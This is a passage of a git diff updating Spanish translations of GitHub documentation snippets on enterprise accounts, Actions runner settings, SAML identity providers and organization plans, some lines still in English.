index 0000000000..de3479d6c8
--- /dev/null
+++ b/translations/es-ES/data/reusables/docs/you-can-read-docs-for-your-product.md
@@ -0,0 +1 @@
+You can read documentation that reflects the features available to you on {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)".
diff --git a/translations/es-ES/data/reusables/dotcom_billing/codespaces-report-download.md b/translations/es-ES/data/reusables/dotcom_billing/codespaces-report-download.md
new file mode 100644
index 0000000000..2acf6eddbf
--- /dev/null
+++ b/translations/es-ES/data/reusables/dotcom_billing/codespaces-report-download.md
@@ -0,0 +1 @@
+1. Optionally, next to "Usage this month", click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_codespaces %} to the account's primary email address. ![Descargar reporte en CSV](/assets/images/help/codespaces/usage-report-download.png)
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md b/translations/es-ES/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md
index b78499d214..534d9c25e0 100644
--- a/translations/es-ES/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md
+++ b/translations/es-ES/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md
@@ -1 +1 @@
-A user account is considered to be dormant if it has not been active for {% ifversion ghec %}90 days{% else %}at least a month{% endif %}.{% ifversion ghes %} You may choose to suspend dormant users to release user licenses.{% endif %}
+{% ifversion not ghec%}By default, a{% else %}A{% endif %} user account is considered to be dormant if it has not been active for 90 days. {% ifversion not ghec %}You can configure the length of time a user must be inactive to be considered dormant{% ifversion ghes%} and choose to suspend dormant users to release user licenses{% endif %}.{% endif %}
diff --git a/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md b/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md
index d91e0fde90..610f6ae535 100644
--- a/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md
+++ b/translations/es-ES/data/reusables/enterprise-accounts/invite-organization.md
@@ -1 +1 @@
-Enterprise account owners can invite existing organization accounts to join their enterprise. Para obtener más información, consulta la sección "[Invitar a una organización para que se una a su cuenta empresarial](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)".
+Los propietarios de cuentas empresariales pueden invitar a cuentas organizacionales existentes para que se unan a su empresa. Para obtener más información, consulta la sección "[Invitar a una organización para que se una a su cuenta empresarial](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)".
diff --git a/translations/es-ES/data/reusables/enterprise/ghec-cta-button.md b/translations/es-ES/data/reusables/enterprise/ghec-cta-button.md
index c290f59900..f68e8b253e 100644
--- a/translations/es-ES/data/reusables/enterprise/ghec-cta-button.md
+++ b/translations/es-ES/data/reusables/enterprise/ghec-cta-button.md
@@ -1 +1 @@
-<a href="https://github.com/account/organizations/new?plan=business_plus" class="btn btn-primary btn-large f4 mt-3 mr-3">Try {% data variables.product.prodname_ghe_cloud %} for free</a>
+<a href="https://github.com/account/organizations/new?plan=business_plus" class="btn btn-primary btn-large f4 mt-3 mr-3">Intenta usar {% data variables.product.prodname_ghe_cloud %} gratis</a>
diff --git a/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md
index fb2c9a733e..647e407c1b 100644
--- a/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md
+++ b/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md
@@ -1,5 +1,5 @@
 {% note %}
 
-**Note:** Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.
+**Nota:** Las características tales como {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} y {% data variables.product.prodname_GH_advanced_security %} se encuentran disponibles en {% data variables.product.prodname_ghe_server %} 3.0 o superior. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.
 
 {% endnote %}
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/enterprise_migrations/locking-repositories.md b/translations/es-ES/data/reusables/enterprise_migrations/locking-repositories.md
index 796e25e84d..2dbf474329 100644
--- a/translations/es-ES/data/reusables/enterprise_migrations/locking-repositories.md
+++ b/translations/es-ES/data/reusables/enterprise_migrations/locking-repositories.md
@@ -1,6 +1,6 @@
 {% tip %}
 
-**Nota:** El bloquear un repositorio previene todo acceso de lectura y escritura al repositorio. No puedes asociar equipos o colaboradores nuevos con un repositorio bloqueado.
+**Nota:** El bloquear un repositorio impedirá todos los accesos de escritura al mismo. No puedes asociar equipos o colaboradores nuevos con un repositorio bloqueado.
 Si estás llevando a cabo una ejecución de prueba, no necesitas bloquear el repositorio. Cuando migras los datos desde un repositorio que está en uso,
 
 {% data variables.product.company_short %} recomienda fuertemente que lo bloquees. Para obtener más información, consulta "[Acerca de las migraciones](/enterprise/admin/migrations/about-migrations#types-of-migrations)".
diff --git a/translations/es-ES/data/reusables/gated-features/advanced-security.md b/translations/es-ES/data/reusables/gated-features/advanced-security.md
index a8a075f2fe..54ac750d4b 100644
--- a/translations/es-ES/data/reusables/gated-features/advanced-security.md
+++ b/translations/es-ES/data/reusables/gated-features/advanced-security.md
@@ -1 +1 @@
-{% data variables.product.prodname_GH_advanced_security %} is a set of security features designed to make enterprise code more secure. It is available for {% data variables.product.prodname_ghe_server %} 3.0 or higher, {% data variables.product.prodname_ghe_cloud %}, and open source repositories. To learn more about the features included in {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
+{% data variables.product.prodname_GH_advanced_security %} is a set of security features designed to make enterprise code more secure. It is available for {% data variables.product.prodname_ghe_server %} 3.0 or higher, {% data variables.product.prodname_ghe_cloud %}, and open source repositories. Para aprender más sobre las características que se incluyen en la {% data variables.product.prodname_GH_advanced_security %}, consulta la sección "[Acerca del {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)".
diff --git a/translations/es-ES/data/reusables/gated-features/dependency-review.md b/translations/es-ES/data/reusables/gated-features/dependency-review.md
index 1b3fc0f8f3..c03d5c7c42 100644
--- a/translations/es-ES/data/reusables/gated-features/dependency-review.md
+++ b/translations/es-ES/data/reusables/gated-features/dependency-review.md
@@ -1,3 +1,3 @@
-{% ifversion fpt or ghec %}Dependency review is available for all public repositories, as well as well as private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %}
+{% ifversion fpt or ghec %}La revisión de dependencias se encuentra disponible para todos los repositorios públicos, así como para los repositorios privados que pertenezcan a organizaciones en donde se encuentre habilitada la {% data variables.product.prodname_GH_advanced_security %}.{% endif %}
 {% ifversion ghes > 3.1 %}La revisión de dependencias se encuentra disponible para los repositorios que pertenecen a las organizaciones en donde se encuentra habilitada la {% data variables.product.prodname_GH_advanced_security %}.
 {% endif %} {% data reusables.advanced-security.more-info-ghas %}
diff --git a/translations/es-ES/data/reusables/gated-features/enterprise-accounts.md b/translations/es-ES/data/reusables/gated-features/enterprise-accounts.md
index 5e02051aca..9e77a61828 100644
--- a/translations/es-ES/data/reusables/gated-features/enterprise-accounts.md
+++ b/translations/es-ES/data/reusables/gated-features/enterprise-accounts.md
@@ -1 +1 @@
-Las cuentas empresariales se encuentran disponibles con {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} y {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Acerca de las cuentas de empresa]({% ifversion fpt or ghec %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts)".
+Las cuentas empresariales se encuentran disponibles con {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} y {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta la sección "[Acerca de las cuentas empresariales]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
diff --git a/translations/es-ES/data/reusables/getting-started/api.md b/translations/es-ES/data/reusables/getting-started/api.md
index 443c98a14c..51a1a737ec 100644
--- a/translations/es-ES/data/reusables/getting-started/api.md
+++ b/translations/es-ES/data/reusables/getting-started/api.md
@@ -1 +1 @@
-There are two versions of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API: the REST API and the GraphQL API. You can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to automate common tasks, [back up your data](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository), or {% ifversion fpt or ghec %}[create integrations](/github/customizing-your-github-workflow/exploring-integrations/about-integrations){% else %}create integrations{% endif %} that extend {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Acerca de las API de {% data variables.product.prodname_dotcom %}](/developers/overview/about-githubs-apis)".
+Hay dos versiones de la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}: la API de REST y la API de GraphQL. Puedes utilizar las API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para automatizar las tareas comunes, [respaldar tus datos](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository) o {% ifversion fpt or ghec %}[crear integraciones](/github/customizing-your-github-workflow/exploring-integrations/about-integrations){% else %}crear integraciones{% endif %} que extiendan a {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Acerca de las API de {% data variables.product.prodname_dotcom %}](/developers/overview/about-githubs-apis)".
diff --git a/translations/es-ES/data/reusables/getting-started/customizing-and-automating.md b/translations/es-ES/data/reusables/getting-started/customizing-and-automating.md
index 7d36893262..f7402575c6 100644
--- a/translations/es-ES/data/reusables/getting-started/customizing-and-automating.md
+++ b/translations/es-ES/data/reusables/getting-started/customizing-and-automating.md
@@ -1 +1 @@
-You can use tools from the {% data variables.product.prodname_marketplace %}, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and existing {% data variables.product.product_name %} features to customize and automate your work.
+Puedes utilizar las herramientas del {% data variables.product.prodname_marketplace %}, la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} y características existentes de {% data variables.product.product_name %} para personalizar y automatizar tu trabajo.
diff --git a/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md b/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md
index 38512d331a..b692de7746 100644
--- a/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md
+++ b/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md
@@ -1,3 +1,3 @@
-You can give organization members, teams, and outside collaborators different levels of access to repositories owned by your organization with repository roles. Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
+Con los roles de repositorio, puedes otorgar diferentes niveles de acceso a los miembros de la organización, equipos y colaboradores externos para los repositorios que pertenezcan a tu organización. Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 También puedes personalizar el acceso a los tableros de proyecto de tu organización y permitir que miembros individuales de esta administren las {% data variables.product.prodname_github_apps %} de ella. Para obtener más información, consulta las secciones "[Administrar el acceso a los tableros de proyecto de tu organización](/organizations/managing-access-to-your-organizations-project-boards)" y "[Administrar el acceso a las apps de tu organización](/organizations/managing-access-to-your-organizations-apps)".
diff --git a/translations/es-ES/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md b/translations/es-ES/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md
index 3b7d1756ca..7073f03c49 100644
--- a/translations/es-ES/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md
+++ b/translations/es-ES/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md
@@ -1,3 +1,3 @@
-The audit log for your organization allows you, as an organization owner, to review the actions performed by members of the organization within the current month and previous six months. Para obtener más información, consulta la sección "[Revisar la bitácora de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)".
+La bitácora de auditoría de tu organización te permite, como propietario de la organización, revisar las acciones que llevan a cabo los miembros de la organización dentro del mes actual y los últimos seis meses. Para obtener más información, consulta la sección "[Revisar la bitácora de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)".
 
 También puedes revisar y configurar los niveles de permiso de las integraciones instaladas en tu organización. Para obtener más información, consulta la sección "[Revisar las integraciones autorizadas de tu organización](/organizations/keeping-your-organization-secure/reviewing-your-organizations-installed-integrations)".
diff --git a/translations/es-ES/data/reusables/github-actions/example-github-runner.md b/translations/es-ES/data/reusables/github-actions/example-github-runner.md
index 84a1b53787..b83c4eb5f6 100644
--- a/translations/es-ES/data/reusables/github-actions/example-github-runner.md
+++ b/translations/es-ES/data/reusables/github-actions/example-github-runner.md
@@ -1,6 +1,6 @@
 ### Ejecución en un sistema operativo diferente
 
-La plantilla inicial de flujo de trabajo configura los jobs para que se ejecuten en Linux, utilizando los ejecutores `ubuntu-latest` hospedados en {% data variables.product.prodname_dotcom %}. Puedes cambiar la clave `runs-on` para ejecutar tus jobs en un sistema operativo diferente. Por ejemplo, puedes utilizar los ejecutores de Windows hospedados en {% data variables.product.prodname_dotcom %}.
+El flujo de trabajo inicial configura los jobs para que se ejecuten en Linux, utilizando los ejecutores `ubuntu-latest` hospedados en {% data variables.product.prodname_dotcom %}. Puedes cambiar la clave `runs-on` para ejecutar tus jobs en un sistema operativo diferente. Por ejemplo, puedes utilizar los ejecutores de Windows hospedados en {% data variables.product.prodname_dotcom %}.
 
 {% raw %}
 ```yaml
diff --git a/translations/es-ES/data/reusables/github-actions/java-jvm-architecture.md b/translations/es-ES/data/reusables/github-actions/java-jvm-architecture.md
index 8a5ed8d965..a37044142e 100644
--- a/translations/es-ES/data/reusables/github-actions/java-jvm-architecture.md
+++ b/translations/es-ES/data/reusables/github-actions/java-jvm-architecture.md
@@ -1,6 +1,6 @@
 ### Especificar la versión y arquitectura de JVM
 
-La plantilla inicial de flujo de trabajo configura el `PATH` para que contenga OpenJDK 8 para las plataformas x64. Si quieres utilizar una versión diferente de Java, o enfocarte en una arquitectura diferente (`x64` o `x86`), puedes utilizar la acción `setup-java` para elegir un ambiente de ejecución de Java diferente.
+El flujo de trabajo inicial configura el `PATH` para contener el OpenJDK 8 para la plataforma x64. Si quieres utilizar una versión diferente de Java, o enfocarte en una arquitectura diferente (`x64` o `x86`), puedes utilizar la acción `setup-java` para elegir un ambiente de ejecución de Java diferente.
 
 Por ejemplo, para utilizar la versión 11 de JDK que se proporciona con Adoptium para la plataforma x64, puedes utilizar la acción `setup-java` y configurar los parámetros `java-version`, `distribution` y `architecture` en `'11'`, `'adopt'` y `x64`.
 
diff --git a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md
index 1d0b00ba07..711516a636 100644
--- a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md
+++ b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md
@@ -1,17 +1,17 @@
 {% ifversion fpt %}
-1. Navigate to the main page of the repository or organization where your self-hosted runner groups are located.
-2. Click {% octicon "gear" aria-label="The Settings gear" %} **Settings**.
+1. Navega a la página principal del repositorio u organización en donde se ubican tus grupos de ejecutores auto-hospedados.
+2. Haz clic en {% octicon "gear" aria-label="The Settings gear" %} **Ajustes**.
 3. En la barra lateral izquierda, da clic en **Acciones**.
-4. Click **Runner groups**.
+4. Haz clic en **Grupos de ejecutores**.
 {% elsif ghec or ghes or ghae %}
 1. Navega a donde se ubiquen tus grupos de ejecutores auto-hospedados:
-   * **In an organization**: navigate to the main page and click {% octicon "gear" aria-label="The Settings gear" %} **Settings**.{% ifversion ghec %}
-   * **If using an enterprise account**: navigate to your enterprise account by clicking your profile photo in the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, then clicking **Your enterprises**, then clicking the enterprise.{% elsif ghes or ghae %}
+   * **En una organización**: navega a la página principal y da clic en {% octicon "gear" aria-label="The Settings gear" %} **Configuración**.{% ifversion ghec %}
+   * **Si utilizas una cuenta empresarial**: navega a ella haciendo clic en tu foto de perfil en la esquina superior derecha de {% data variables.product.prodname_dotcom_the_website %} y luego haz clic en **Tu empresa** y, después, en la empresa.{% elsif ghes or ghae %}
    * **Si utilizas un ejecutor a nivel de empresa**:
      1. En la esquina superior derecha de cualquier página, da clic en {% octicon "rocket" aria-label="The rocket ship" %}.
      2. En la barra lateral izquierda, da clic en **Resumen empresarial**.
-     3. In the enterprise sidebar, click {% octicon "law" aria-label="The law icon" %} **Policies**.{% endif %}
+     3. En la barra lateral de la empresa, haz clic en {% octicon "law" aria-label="The law icon" %} **Políticas**.{% endif %}
 2. Navega a los ajustes de los "Grupos de ejecutores":
-   * **In an organization**: Click **Actions** in the left sidebar{% ifversion fpt or ghec %}, then click **Runner groups** below it{% endif %}.{% ifversion ghec or ghes or ghae %}
+   * **En una organización**: Haz clic en **Acciones** en la barra lateral izquierda{% ifversion fpt or ghec %} y luego en **Grupos de ejecutores** debajo de ella{% endif %}.{% ifversion ghec or ghes or ghae %}
    * {% ifversion ghec %}**Si estás utilizand una cuenta empresarial**:{% elsif ghes or ghae %}**Si estás utilizando un ejecutor a nivel empresarial**:{% endif %} Haz clic en **Acciones** debajo de "{% octicon "law" aria-label="The law icon" %} Políticas"{% ifversion ghec %}, y luego en la pestaña de **Grupos de ejecutores** {% endif %}.{% endif %}
 {% endif %}
diff --git a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md
index 65ded479f7..8aabc3e5fd 100644
--- a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md
+++ b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md
@@ -1,12 +1,12 @@
 {% ifversion fpt %}
 1. Navigate to the main page of the organization where your self-hosted runner group is registered.
-2. Click {% octicon "gear" aria-label="The Settings gear" %} **Settings**.
+2. Haz clic en {% octicon "gear" aria-label="The Settings gear" %} **Ajustes**.
 3. En la barra lateral izquierda, da clic en **Acciones**.
 4. Click **Runners**.
 {% elsif ghec or ghes or ghae %}
 1. Navega a donde está registrado tu ejecutor auto-hospedado:
    * **En una organización**: navega a la página principal y da clic en {% octicon "gear" aria-label="The Settings gear" %} **Configuración**.
-   * {% ifversion ghec %}**If using an enterprise account**: navigate to your enterprise account by clicking your profile photo in the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, then clicking **Your enterprises**, then clicking the enterprise.{% elsif ghes or ghae %}**If using an enterprise-level runner**:
+   * {% ifversion ghec %}**Si utilizas una cuenta empresarial**: navega a ella haciendo clic en tu foto de perfil en la esquina superior derecha de {% data variables.product.prodname_dotcom_the_website %} y luego haz clic en **Tu empresa** y, después, en la empresa.{% elsif ghes or ghae %}**Si utilizas un ejecutor a nivel de empresa**:
 
      1. En la esquina superior derecha de cualquier página, da clic en {% octicon "rocket" aria-label="The rocket ship" %}.
      1. En la barra lateral izquierda, da clic en **Resumen empresarial**.
diff --git a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md
index 08b5ea7d4c..09fdce0c3d 100644
--- a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md
+++ b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-repo-org-enterprise.md
@@ -1,16 +1,16 @@
 {% ifversion fpt %}
 1. Navega a la página principal de la organización o repositorio en donde se registró tu grupo de ejecutores auto-hospedados.
-2. Click {% octicon "gear" aria-label="The Settings gear" %} **Settings**.
+2. Haz clic en {% octicon "gear" aria-label="The Settings gear" %} **Ajustes**.
 3. En la barra lateral izquierda, da clic en **Acciones**.
 4. Click **Runners**.
 {% elsif ghec or ghes or ghae %}
 1. Navega a donde está registrado tu ejecutor auto-hospedado:
    * **En un repositorio organizacional**: navega a la página principal y da clic en {% octicon "gear" aria-label="The Settings gear" %} **Configuración**. {% ifversion ghec %}
-   * **If using an enterprise account**: navigate to your enterprise account by clicking your profile photo in the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, then clicking **Your enterprises**, then clicking the enterprise.{% elsif ghes or ghae %}
+   * **Si utilizas una cuenta empresarial**: navega a ella haciendo clic en tu foto de perfil en la esquina superior derecha de {% data variables.product.prodname_dotcom_the_website %} y luego haz clic en **Tu empresa** y, después, en la empresa.{% elsif ghes or ghae %}
    * **Si utilizas un ejecutor a nivel de empresa**:
      1. En la esquina superior derecha de cualquier página, da clic en {% octicon "rocket" aria-label="The rocket ship" %}.
      2. En la barra lateral izquierda, da clic en **Resumen empresarial**.
-     3. In the enterprise sidebar, click {% octicon "law" aria-label="The law icon" %} **Policies**.{% endif %}
+     3. En la barra lateral de la empresa, haz clic en {% octicon "law" aria-label="The law icon" %} **Políticas**.{% endif %}
 2. Navega a los ajustes de {% data variables.product.prodname_actions %}:
    * **En una organización o repositorio**: Haz clic **Actions** en la barra lateral izquierda{% ifversion fpt or ghes > 3.1 or ghae or ghec %} y luego en **Ejecutores**{% endif %}.{% ifversion ghec or ghae or ghes %}
    * {% ifversion ghec %}**Si estás utilizand una cuenta empresarial**:{% elsif ghes or ghae %}**Si estás utilizando un ejecutor a nivel empresarial**:{% endif %} Haz clic en **Acciones** debajo de "{% octicon "law" aria-label="The law icon" %} Políticas"{% ifversion ghes > 3.1 or ghae or ghec %}, y luego en la pestaña de **Ejecutores** {% endif %}.{% endif %}
diff --git a/translations/es-ES/data/reusables/github-ae/saml-idp-table.md b/translations/es-ES/data/reusables/github-ae/saml-idp-table.md
index db04f96ef7..ae87a9829c 100644
--- a/translations/es-ES/data/reusables/github-ae/saml-idp-table.md
+++ b/translations/es-ES/data/reusables/github-ae/saml-idp-table.md
@@ -1,4 +1,4 @@
-| IdP                                                                                                                                                                                                               | SAML                                                                                                                                                                                                                                                     | Aprovisionamiento de usuarios                                                                                                                                                                                                                            | Team mapping                                                                                                                                                                                                |
-| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| IdP                                                                                                                                                                                                               | SAML                                                                                                                                                                                                                                                     | Aprovisionamiento de usuarios                                                                                                                                                                                                                            | Team mapping                                                                                                                                                                                                 |
+| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
 | [Azure Active Directory (Azure AD)](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad) | {% octicon "check-circle-fill" aria-label="The check icon" %}                                                                                                                                                                                            | {% octicon "check-circle-fill" aria-label="The check icon" %}                                                                                                                                                                                            | {% octicon "check-circle-fill" aria-label="The check icon" %}
-| [Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)                                  | {% octicon "check-circle-fill" aria-label="The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label="The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label= "The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams) |
\ No newline at end of file
+| [Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)                                  | {% octicon "check-circle-fill" aria-label="The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label="The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label= "The check icon" %} [<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams) |
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
index fa1a0b18f6..e962be5039 100644
--- a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
+++ b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
@@ -2,4 +2,4 @@ Antes de habilitar la sincronización de equipos para Okta, tú o tu administrad
 
 - Configurar la integración con SAML, SSO y SCIM en tu organización utilizando Okta. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML y SCIM utilizando Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)".
 - Proporcionar la URL del inquilino para tu instancia de Okta.
-- Generar un token de SSWS válido con permisos administrativos de solo lectura para tu instalación de Okta como usuario de servicio. Para obtener más información, consulta la sección [Crear el token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) y [Usuarios de servicio](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm) en la documentación de Okta.
+- Generar un token de SSWS válido con permisos administrativos de solo lectura para tu instalación de Okta como usuario de servicio. Para obtener más información, consulta la sección [Crear el token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) y [Usuarios de servicio](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm) en la documentación de Okta.
diff --git a/translations/es-ES/data/reusables/organizations/internal-repos-enterprise.md b/translations/es-ES/data/reusables/organizations/internal-repos-enterprise.md
deleted file mode 100644
index 9e692e9e1e..0000000000
--- a/translations/es-ES/data/reusables/organizations/internal-repos-enterprise.md
+++ /dev/null
@@ -1,7 +0,0 @@
-{% ifversion fpt or ghec %}
-{% note %}
-
-**Nota:** Los repositorios internos se encuentran disponibles para las organizaciones que pertenecen a una cuenta empresarial. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
-
-{% endnote %}
-{% endif %}
diff --git a/translations/es-ES/data/reusables/organizations/org-invite-scim.md b/translations/es-ES/data/reusables/organizations/org-invite-scim.md
index b4f655a263..fcccf493ea 100644
--- a/translations/es-ES/data/reusables/organizations/org-invite-scim.md
+++ b/translations/es-ES/data/reusables/organizations/org-invite-scim.md
@@ -1 +1 @@
-Pending invitations will expire after 7 days, restoring any unclaimed licenses.{% ifversion ghec %} If an invitation is generated by your identity provider, the invitation will not expire.{% endif %}
+Las invitaciones pendientes vencerán después de 7 días, restableciendo cualquier licencia sin reclamar.{% ifversion ghec %} Si tu proveedor de identidad genera una invitación, esta no vencerá.{% endif %}
diff --git a/translations/es-ES/data/reusables/organizations/organization-plans.md b/translations/es-ES/data/reusables/organizations/organization-plans.md
new file mode 100644
index 0000000000..7abfb32451
--- /dev/null
+++ b/translations/es-ES/data/reusables/organizations/organization-plans.md
@@ -0,0 +1,8 @@
+{% ifversion fpt or ghec %}
+All organizations can own an unlimited number of public and private repositories. You can use organizations for free, with {% data variables.product.prodname_free_team %}, which includes limited features on private repositories. To get the full feature set on private repositories and additional features at the organization level, including SAML single sign-on and improved support coverage, you can upgrade to {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+
+Si utilizas {% data variables.product.prodname_ghe_cloud %}, tendrás la opción de comprar una licencia para {% data variables.product.prodname_GH_advanced_security %} y utilizar las características en los repositorios privados. {% data reusables.advanced-security.more-info-ghas %}
+
+{% ifversion fpt %}
+{% data reusables.enterprise.link-to-ghec-trial %}{% endif %}
+{% endif %}
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/organizations/organizations_include.md b/translations/es-ES/data/reusables/organizations/organizations_include.md
index 78368e0a5b..10a27c137c 100644
